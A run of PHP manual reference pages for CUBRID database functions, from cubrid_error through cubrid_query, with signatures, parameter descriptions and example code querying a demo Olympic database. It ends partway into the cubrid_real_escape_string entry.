echo "Error Code: ", cubrid_errno($con);
echo "Error Message: ", cubrid_error($con);
}
?>

以上示例会输出：

Error Code: -493 Error Message: Syntax: Unknown class "person". select id, [name] from person

参见

  • cubrid_error() - Get the error message
  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.


Get the error message

  • ? cubrid_errno
  • cubrid_fetch_array ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Get the error message

cubrid_error

(PECL CUBRID >= 8.3.1)

cubrid_error — Get the error message

说明

cubrid_error(resource $connection = ?): string

The cubrid_error() function is used to get the error message that occurred during the use of CUBRID API. Usually, it gets error message when API returns false as its return value.

参数

connection

The CUBRID connection.

返回值

Error message that occurred.

示例

Example #1 cubrid_error() example

<?php
$con = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
$req = cubrid_execute($con, "select id, name from person");
if ($req) {
while (list ($id, $name) = cubrid_fetch($req))
echo $id, $name;
} else {
echo "Error Code: ", cubrid_errno($con);
echo "Error Message: ", cubrid_error($con);
}
?>

以上示例会输出：

Error Code: -493 Error Message: Syntax: Unknown class "person". select id, [name] from person

参见

  • cubrid_errno() - Return the numerical value of the error message from previous CUBRID operation
  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.


Fetch a result row as an associative array, a numeric array, or both

  • ? cubrid_error
  • cubrid_fetch_assoc ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Fetch a result row as an associative array, a numeric array, or both

cubrid_fetch_array

(PECL CUBRID >=8.3.0)

cubrid_fetch_array — Fetch a result row as an associative array, a numeric array, or both

说明

cubrid_fetch_array(resource $result, int $type = CUBRID_BOTH): array

The cubrid_fetch_array() function is used to get a single row from the query result and returns an array. The cursor automatically moves to the next row after getting the result.

参数

result

Result comes from a call to cubrid_execute()

type

Array type of the fetched result CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH. If you need to operate the lob object, you can use CUBRID_LOB.

返回值

Returns an array of strings that corresponds to the fetched row, when process is successful.

false, when there are no more rows; NULL, when process is unsuccessful.

The type of returned array depends on how type is defined. By using CUBRID_BOTH (default), you'll get an array with both associative and number indices, and you can decide which data type to use by setting the type argument. The type variable can be set to one of the following values:

  • CUBRID_NUM : Numerical array (0-based)
  • CUBRID_ASSOC : Associative array
  • CUBRID_BOTH : Numerical & Associative array (default)

示例

Example #1 cubrid_fetch_array() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_array($req, CUBRID_NUM)) {
printf("%-40s %-10s %-6s %-20s\n", $row[0], $row[1], $row[2], $row[3]);
}

// if you want to operate LOB object, you can use cubrid_fetch_array($req, CUBRID_NUM | CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

以上示例会输出：

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

参见

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch() - Fetch the next row from a result set
  • cubrid_fetch_row() - Return a numerical array with the values of the current row
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_fetch_object() - Fetch the next row and return it as an object

User Contributed Notes

There are no user contributed notes for this page.


Return the associative array that corresponds to the fetched row

  • ? cubrid_fetch_array
  • cubrid_fetch_field ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Return the associative array that corresponds to the fetched row

cubrid_fetch_assoc

(PECL CUBRID >= 8.3.0)

cubrid_fetch_assoc — Return the associative array that corresponds to the fetched row

说明

cubrid_fetch_assoc(resource $result, int $type = ?): array

This function returns the associative array, that corresponds to the fetched row, and then moves the internal data pointer ahead, or returns FALSE when the end is reached.

参数

result

result comes from a call to cubrid_execute()

type

Type can only be CUBRID_LOB, this parameter will be used only when you need to operate the lob object.

返回值

Associative array, when process is successful.

false, when there are no more rows; NULL, when process is unsuccessful.

示例

Example #1 cubrid_fetch_assoc() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_assoc($req)) {
printf("%-40s %-10s %-6s %-20s\n",
$row["name"], $row["area"], $row["seats"], $row["address"]);
}

// if you want to operate LOB object, you can use cubrid_fetch_assoc($req, CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

以上示例会输出：

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

参见

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch() - Fetch the next row from a result set
  • cubrid_fetch_row() - Return a numerical array with the values of the current row
  • cubrid_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_object() - Fetch the next row and return it as an object

User Contributed Notes

There are no user contributed notes for this page.


Get column information from a result and return as an object

  • ? cubrid_fetch_assoc
  • cubrid_fetch_lengths ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Get column information from a result and return as an object

cubrid_fetch_field

(PECL CUBRID >= 8.3.1)

cubrid_fetch_field — Get column information from a result and return as an object

说明

cubrid_fetch_field(resource $result, int $field_offset = 0): object

This function returns an object with certain properties of the specific column. The properties of the object are:

name

column name

table

name of the table that the column belongs to

def

default value of the column

max_length

maximum length of the column

not_null

1 if the column cannot be NULL

primary_key

1 if the column is a primary key

unique_key

1 if the column is an unique key

multiple_key

1 if the column is a non-unique key

numeric

1 if the column is numeric

blob

1 if the column is a BLOB

type

the type of the column

unsigned

1 if the column is unsigned

zerofill

1 if the column is zero-filled

参数

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. If the field offset is not specified, the next field (that was not yet retrieved by this function) is retrieved. The field_offset starts at 0.

返回值

Object with certain properties of the specific column, when process is successful.

false on failure.

示例

Example #1 cubrid_fetch_field() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT event_code,athlete_code,nation_code,game_date FROM game WHERE host_year=1988 and event_code=20001;");

var_dump(cubrid_fetch_row($req));

cubrid_field_seek($req, 1);
$field = cubrid_fetch_field($req);

printf("\n--- Field Properties ---\n");
printf("%-30s %s\n", "name:", $field->name);
printf("%-30s %s\n", "table:", $field->table);
printf("%-30s \"%s\"\n", "default value:", $field->def);
printf("%-30s %d\n", "max length:", $field->max_length);
printf("%-30s %d\n", "not null:", $field->not_null);
printf("%-30s %d\n", "primary key:", $field->primary_key);
printf("%-30s %d\n", "unique key:", $field->unique_key);
printf("%-30s %d\n", "multiple key:", $field->multiple_key);
printf("%-30s %d\n", "numeric:", $field->numeric);
printf("%-30s %d\n", "blob:", $field->blob);
printf("%-30s %s\n", "type:", $field->type);
printf("%-30s %d\n", "unsigned:", $field->unsigned);
printf("%-30s %d\n", "zerofill:", $field->zerofill);

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

以上示例会输出：

array(4) {
  [0]=>
  string(5) "20001"
  [1]=>
  string(5) "16681"
  [2]=>
  string(3) "KOR"
  [3]=>
  string(9) "1988-9-30"
}

--- Field Properties ---
name:                          athlete_code
table:                         game
default value:                 ""
max length:                    0
not null:                      1
primary key:                   1
unique key:                    1
multiple key:                  0
numeric:                       1
blob:                          0
type:                          integer
unsigned:                      0
zerofill:                      0

User Contributed Notes

There are no user contributed notes for this page.


Return an array with the lengths of the values of each field from the current row

  • ? cubrid_fetch_field
  • cubrid_fetch_object ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Return an array with the lengths of the values of each field from the current row

cubrid_fetch_lengths

(PECL CUBRID >= 8.3.0)

cubrid_fetch_lengths — Return an array with the lengths of the values of each field from the current row

说明

cubrid_fetch_lengths(resource $result): array

This function returns a numeric array with the lengths of the values of each field from the current row of the result set or it returns FALSE on failure.

Note:

If field data type is BLOB/CLOB, you should get its length by using cubrid_lob_size().

参数

result

result comes from a call to cubrid_execute()

返回值

A numeric array, when process is successful.

false on failure.

示例

Example #1 cubrid_fetch_lengths() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$row = cubrid_fetch_row($result);
print_r($row);

$lens = cubrid_fetch_lengths($result);
print_r($lens);

cubrid_disconnect($conn);
?>

以上示例会输出：

Array
(
    [0] => 2004
    [1] => 20085
    [2] => 15118
    [3] => 30134
    [4] => AUS
    [5] => G
    [6] => 2004-8-20
)
Array
(
    [0] => 4
    [1] => 5
    [2] => 5
    [3] => 5
    [4] => 3
    [5] => 1
    [6] => 10
)

User Contributed Notes

There are no user contributed notes for this page.


Fetch the next row and return it as an object

  • ? cubrid_fetch_lengths
  • cubrid_fetch_row ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Fetch the next row and return it as an object

cubrid_fetch_object

(PECL CUBRID >= 8.3.0)

cubrid_fetch_object — Fetch the next row and return it as an object

说明

cubrid_fetch_object(
resource $result,
string $class_name = ?,
array $params = ?,
int $type = ?
): object

This function returns an object with the column names of the result set as properties. The values of these properties are extracted from the current row of the result.

参数

result

result comes from a call to cubrid_execute()

class_name

The name of the class to instantiate. If not specified, a stdClass (stdClass is PHP's generic empty class that's used when casting other types to objects) object is returned.

params

An optional array of parameters to pass to the constructor for class_name objects.

type

Type can only be CUBRID_LOB, this parameter will be used only when you need to operate the lob object.

返回值

An object, when process is successful.

false, when there are no more rows; NULL, when process is unsuccessful.

示例

Example #1 cubrid_fetch_object() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$res = cubrid_execute($conn, "SELECT * FROM code");

var_dump(cubrid_fetch_object($res));

// if you want to operate LOB object, you can use cubrid_fetch_object($res, CUBRID_LOB)

class demodb_code {
public $s_name = null;
public $f_name = null;

public function toString() {
var_dump($this);
}
}

var_dump(cubrid_fetch_object($res, "demodb_code"));

// if you want to operate LOB object, you can use cubrid_fetch_object($res, "demodb_code", CUBRID_LOB)

class demodb_code_construct extends demodb_code {
public function __construct($s, $f) {
$this->s_name = $s;
$this->f_name = $f;
}
}

var_dump(cubrid_fetch_object($res, 'demodb_code_construct', array('s_name', 'f_name')));

// if you want to operate LOB object, you can use cubrid_fetch_object($res, 'demodb_code_construct', array('s_name', 'f_name'), CUBRID_LOB)

var_dump(cubrid_fetch_object($res));

cubrid_close_request($res);
cubrid_disconnect($conn);
?>

以上示例会输出：

object(stdClass)#1 (2) {
  ["s_name"]=>
  string(1) "X"
  ["f_name"]=>
  string(5) "Mixed"
}
object(demodb_code)#1 (2) {
  ["s_name"]=>
  string(1) "W"
  ["f_name"]=>
  string(5) "Woman"
}
object(demodb_code_construct)#1 (2) {
  ["s_name"]=>
  string(6) "s_name"
  ["f_name"]=>
  string(6) "f_name"
}
object(stdClass)#1 (2) {
  ["s_name"]=>
  string(1) "B"
  ["f_name"]=>
  string(6) "Bronze"
}

参见

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch() - Fetch the next row from a result set
  • cubrid_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_fetch_row() - Return a numerical array with the values of the current row

User Contributed Notes

There are no user contributed notes for this page.


Return a numerical array with the values of the current row

  • ? cubrid_fetch_object
  • cubrid_field_flags ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Return a numerical array with the values of the current row

cubrid_fetch_row

(PECL CUBRID >= 8.3.0)

cubrid_fetch_row — Return a numerical array with the values of the current row

说明

cubrid_fetch_row(resource $result, int $type = ?): array

This function returns a numerical array with the values of the current row from the result set, starting from 0, and moves the internal data pointer ahead.

参数

result

result comes from a call to cubrid_execute()

type

Type can only be CUBRID_LOB, this parameter will be used only when you need to operate the lob object.

返回值

A numerical array, when process is successful.

false, when there are no more rows; NULL, when process is unsuccessful.

示例

Example #1 cubrid_fetch_row() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_row($req)) {
printf("%-40s %-10s %-6s %-20s\n", $row[0], $row[1], $row[2], $row[3]);
}

// if you want to operate LOB object, you can use cubrid_fetch_row($req, CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

以上示例会输出：

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

参见

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch() - Fetch the next row from a result set
  • cubrid_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_fetch_object() - Fetch the next row and return it as an object

User Contributed Notes

There are no user contributed notes for this page.


Return a string with the flags of the given field offset

  • ? cubrid_fetch_row
  • cubrid_field_len ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Return a string with the flags of the given field offset

cubrid_field_flags

(PECL CUBRID >= 8.3.0)

cubrid_field_flags — Return a string with the flags of the given field offset

说明

cubrid_field_flags(resource $result, int $field_offset): string

This function returns a string with the flags of the given field offset separated by space. You can split the returned value using explode. The possible flags could be: not_null, primary_key, unique_key, foreign_key, auto_increment, shared, reverse_index, reverse_unique and timestamp.

参数

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

返回值

A string with flags, when process is successful.

false when invalid field_offset value.

-1 if SQL sentence is not SELECT.

示例

Example #1 cubrid_field_flags() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$col_num = cubrid_num_cols($result);

printf("%-30s %s\n", "Field Name", "Field Flags");
for($i = 0; $i < $col_num; $i++) {
printf("%-30s %s\n", cubrid_field_name($result, $i), cubrid_field_flags($result, $i));
}

cubrid_disconnect($conn);
?>

以上示例会输出：

Field Name                     Field Flags
host_year                      not_null primary_key unique_key
event_code                     not_null primary_key unique_key foreign_key
athlete_code                   not_null primary_key unique_key foreign_key
stadium_code                   not_null
nation_code
medal
game_date

User Contributed Notes

There are no user contributed notes for this page.


Get the maximum length of the specified field

  • ? cubrid_field_flags
  • cubrid_field_name ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Get the maximum length of the specified field

cubrid_field_len

(PECL CUBRID >= 8.3.0)

cubrid_field_len — Get the maximum length of the specified field

说明

cubrid_field_len(resource $result, int $field_offset): int

This function returns the maximum length of the specified field on success, or it returns FALSE on failure.

参数

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

返回值

Maximum length, when process is successful.

false on failure.

示例

Example #1 cubrid_field_len() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
$column_len = cubrid_field_len($result, $i);
printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

以上示例会输出：

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char                           3
medal                          char                           1
game_date                      date                           10

User Contributed Notes

There are no user contributed notes for this page.


Return the name of the specified field index

  • ? cubrid_field_len
  • cubrid_field_seek ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Return the name of the specified field index

cubrid_field_name

(PECL CUBRID >= 8.3.0)

cubrid_field_name — Return the name of the specified field index

说明

cubrid_field_name(resource $result, int $field_offset): string

This function returns the name of the specified field index on success or it returns FALSE on failure.

参数

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

返回值

Name of specified field index, on success.

false on failure.

示例

Example #1 cubrid_field_name() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$col_num = cubrid_num_cols($result);

printf("%-30s %s\n", "Field Name", "Field Flags");
for($i = 0; $i < $col_num; $i++) {
printf("%-30s %s\n", cubrid_field_name($result, $i), cubrid_field_flags($result, $i));
}

cubrid_disconnect($conn);
?>

以上示例会输出：

Field Name                     Field Flags
host_year                      not_null primary_key unique_key
event_code                     not_null primary_key unique_key foreign_key
athlete_code                   not_null primary_key unique_key foreign_key
stadium_code                   not_null
nation_code
medal
game_date

User Contributed Notes

There are no user contributed notes for this page.


Move the result set cursor to the specified field offset

  • ? cubrid_field_name
  • cubrid_field_table ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Move the result set cursor to the specified field offset

cubrid_field_seek

(PECL CUBRID >= 8.3.0)

cubrid_field_seek — Move the result set cursor to the specified field offset

说明

cubrid_field_seek(resource $result, int $field_offset = 0): bool

This function moves the result set cursor to the specified field offset. This offset is used by cubrid_fetch_field() if it doesn't include a field offset. It returns TRUE on success or FALSE on failure.

参数

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

返回值

true on success.

false on failure.

示例

Example #1 cubrid_field_seek() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT event_code,athlete_code,nation_code,game_date FROM game WHERE host_year=1988 and event_code=20001;");

var_dump(cubrid_fetch_row($req));

cubrid_field_seek($req, 1);
$field = cubrid_fetch_field($req);

printf("\n--- Field Properties ---\n");
printf("%-30s %s\n", "name:", $field->name);
printf("%-30s %s\n", "table:", $field->table);
printf("%-30s \"%s\"\n", "default value:", $field->def);
printf("%-30s %d\n", "max length:", $field->max_length);
printf("%-30s %d\n", "not null:", $field->not_null);
printf("%-30s %d\n", "unique key:", $field->unique_key);
printf("%-30s %d\n", "multiple key:", $field->multiple_key);
printf("%-30s %d\n", "numeric:", $field->numeric);
printf("%-30s %s\n", "type:", $field->type);

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

以上示例会输出：

array(4) {
  [0]=>
  string(5) "20001"
  [1]=>
  string(5) "16132"
  [2]=>
  string(3) "KOR"
  [3]=>
  string(9) "1988-09-30"
}

--- Field Properties ---
name:                          athlete_code
table:                         game
default value:                 ""
max length:                    0
not null:                      1
unique key:                    1
multiple key:                  0
numeric:                       1
type:                          integer

User Contributed Notes

There are no user contributed notes for this page.


Return the name of the table of the specified field

  • ? cubrid_field_seek
  • cubrid_field_type ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Return the name of the table of the specified field

cubrid_field_table

(PECL CUBRID >= 8.3.0)

cubrid_field_table — Return the name of the table of the specified field

说明

cubrid_field_table(resource $result, int $field_offset): string

This function returns the name of the table of the specified field. This is useful when using large select queries with JOINS.

参数

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

返回值

Name of the table of the specified field, on success.

false when invalid field_offset value.

-1 if SQL sentence is not SELECT.

示例

Example #1 cubrid_field_table() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM code");

$col_num = cubrid_num_cols($result);

printf("%-15s %-15s %s\n", "Field Table", "Field Name", "Field Type");
for($i = 0; $i < $col_num; $i++) {
printf("%-15s %-15s %s\n",
cubrid_field_table($result, $i), cubrid_field_name($result, $i), cubrid_field_type($result, $i));
}

cubrid_disconnect($conn);
?>

以上示例会输出：

Field Table     Field Name      Field Type
code            s_name          char
code            f_name          varchar

User Contributed Notes

There are no user contributed notes for this page.


Return the type of the column corresponding to the given field offset

  • ? cubrid_field_table
  • cubrid_list_dbs ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Return the type of the column corresponding to the given field offset

cubrid_field_type

(PECL CUBRID >= 8.3.0)

cubrid_field_type — Return the type of the column corresponding to the given field offset

说明

cubrid_field_type(resource $result, int $field_offset): string

This function returns the type of the column corresponding to the given field offset. The returned field type could be one of the following: "int", "real", "string", etc.

参数

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

返回值

Type of the column, on success.

false when invalid field_offset value.

-1 if SQL sentence is not SELECT.

示例

Example #1 cubrid_field_type() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM code");

$col_num = cubrid_num_cols($result);

printf("%-15s %-15s %s\n", "Field Table", "Field Name", "Field Type");
for($i = 0; $i < $col_num; $i++) {
printf("%-15s %-15s %s\n",
cubrid_field_table($result, $i), cubrid_field_name($result, $i), cubrid_field_type($result, $i));
}

cubrid_disconnect($conn);
?>

以上示例会输出：

Field Table     Field Name      Field Type
code            s_name          char
code            f_name          varchar

User Contributed Notes

There are no user contributed notes for this page.


Return an array with the list of all existing CUBRID databases

  • ? cubrid_field_type
  • cubrid_num_fields ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Return an array with the list of all existing CUBRID databases

cubrid_list_dbs

(PECL CUBRID >= 8.3.0)

cubrid_list_dbs — Return an array with the list of all existing CUBRID databases

说明

cubrid_list_dbs(resource $conn_identifier = ?): array

This function returns an array with the list of all existing Cubrid databases.

参数

conn_identifier

The CUBRID connection.

返回值

An numeric array with all existing Cubrid databases; on success.

false on failure.

示例

Example #1 cubrid_list_dbs() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$db_list = cubrid_list_dbs($conn);
var_dump($db_list);

cubrid_disconnect($conn);
?>

以上示例会输出：

array(1) {
  [0]=>
  string(6) "demodb"
}

User Contributed Notes

There are no user contributed notes for this page.


Return the number of columns in the result set

  • ? cubrid_list_dbs
  • cubrid_ping ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Return the number of columns in the result set

cubrid_num_fields

(PECL CUBRID >= 8.3.0)

cubrid_num_fields — Return the number of columns in the result set

说明

cubrid_num_fields(resource $result): int

This function returns the number of columns in the result set, on success, or it returns FALSE on failure.

参数

result

result comes from a call to cubrid_execute(), cubrid_query() and cubrid_prepare()

返回值

Number of columns, on success.

-1 if SQL sentence is not SELECT.

false when process is unsuccessful.

示例

Example #1 cubrid_num_fields() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_fields($req);

printf("Row Num: %d\nColumn Num: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

以上示例会输出：

Row Num: 6
Column Num: 2

User Contributed Notes

There are no user contributed notes for this page.


Ping a server connection or reconnect if there is no connection

  • ? cubrid_num_fields
  • cubrid_query ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Ping a server connection or reconnect if there is no connection

cubrid_ping

(PECL CUBRID >= 8.3.1)

cubrid_ping — Ping a server connection or reconnect if there is no connection

说明

cubrid_ping(resource $conn_identifier = ?): bool

Checks whether or not the connection to the server is working.

参数

conn_identifier

The CUBRID connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

返回值

Returns true if the connection to the server CUBRID server is working, otherwise false.

示例

Example #1 cubrid_ping() example

<?php
set_time_limit(0);

$conn = cubrid_connect('localhost', 33000, 'demodb');

/* Assuming this query will take a long time */
$sql = "select * from athlete";
$result = cubrid_query($sql);
if (!$result) {
echo 'Query #1 failed, exiting.';
exit;
}

/* Make sure the connection is still alive, if not, try to reconnect */
if (!cubrid_ping($conn)) {
echo 'Lost connection, exiting after query #1';
exit;
}
cubrid_free_result($result);

/* So the connection is still alive, let's run another query */
$sql2 = "select * from code";
$result2 = cubrid_query($sql2);
?>

User Contributed Notes

There are no user contributed notes for this page.


Send a CUBRID query

  • ? cubrid_ping
  • cubrid_real_escape_string ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Send a CUBRID query

cubrid_query

(PECL CUBRID >= 8.3.1)

cubrid_query — Send a CUBRID query

说明

cubrid_query(string $query, resource $conn_identifier = ?): resource

cubrid_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified conn_identifier.

参数

query

An SQL query

Data inside the query should be properly escaped.

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

返回值

For SELECT, SHOW, DESCRIBE, EXPLAIN and other statements returning resultset, cubrid_query() returns a resource on success, or false on error.

For other type of SQL statements, INSERT, UPDATE, DELETE, DROP, etc, cubrid_query() returns true on success or false on error.

The returned result resource should be passed to cubrid_fetch_array(), and other functions for dealing with result tables, to access the returned data.

Use cubrid_num_rows() to find out how many rows were returned for a SELECT statement or cubrid_affected_rows() to find out how many rows were affected by a DELETE, INSERT, REPLACE, or UPDATE statement.

cubrid_query() will also fail and return false if the user does not have permission to access the table(s) referenced by the query.

示例

Example #1 Invalid Query

The following query is syntactically invalid, so cubrid_query() fails and returns false.

<?php
$conn = cubrid_connect('localhost', 33000, 'demodb');

$result = cubrid_query('SELECT * WHERE 1=1');
if (!$result) {
die('Invalid query: ' . cubrid_error());
}

?>

Example #2 Valid Query

The following query is valid, so cubrid_query() returns a resource.

<?php
// This could be supplied by a user, for example
$firstname = 'fred';
$lastname = 'fox';

$conn = cubrid_connect('localhost', 33000, 'demodb');

cubrid_execute($conn,"DROP TABLE if exists friends");
cubrid_execute($conn,"create table friends(firstname varchar,lastname varchar,address char(24),age int)");
cubrid_execute($conn,"insert into friends values('fred','fox','home-1','20')");
cubrid_execute($conn,"insert into friends values('blue','cat','home-2','21')");
// Formulate Query
// This is the best way to perform an SQL query
// For more examples, see cubrid_real_escape_string()
$query = sprintf("SELECT firstname, lastname, address, age FROM friends WHERE firstname='%s' AND lastname='%s'",
cubrid_real_escape_string($firstname),
cubrid_real_escape_string($lastname));

// Perform Query
$result = cubrid_query($query);

// Check result
// This shows the actual query sent to CUBRID, and the error. Useful for debugging.
if (!$result) {
$message = 'Invalid query: ' . cubrid_error() . "\n";
$message .= 'Whole query: ' . $query;
die($message);
}

// Use result
// Attempting to print $result won't allow access to information in the resource
// One of the cubrid result functions must be used
// See also cubrid_result(), cubrid_fetch_array(), cubrid_fetch_row(), etc.
while ($row = cubrid_fetch_assoc($result)) {
echo $row['firstname'];
echo $row['lastname'];
echo $row['address'];
echo $row['age'];
}

// Free the resources associated with the result set
// This is done automatically at the end of the script
cubrid_free_result($result);
?>

参见

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_error() - Get the error message
  • cubrid_real_escape_string() - Escape special characters in a string for use in an SQL statement
  • cubrid_result() - Return the value of a specific field in a specific row
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_unbuffered_query() - Perform a query without fetching the results into memory

User Contributed Notes

There are no user contributed notes for this page.


Escape special characters in a string for use in an SQL statement

  • ? cubrid_query
  • cubrid_result ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Escape special characters in a string for use in an SQL statement

cubrid_real_escape_string

(PECL CUBRID >= 8.3.0)

cubrid_real_escape_string — Escape special characters in a string for use in an SQL statement

说明

cubrid_real_escape_string(string $unescaped_string, resource $conn_identifier = ?): string

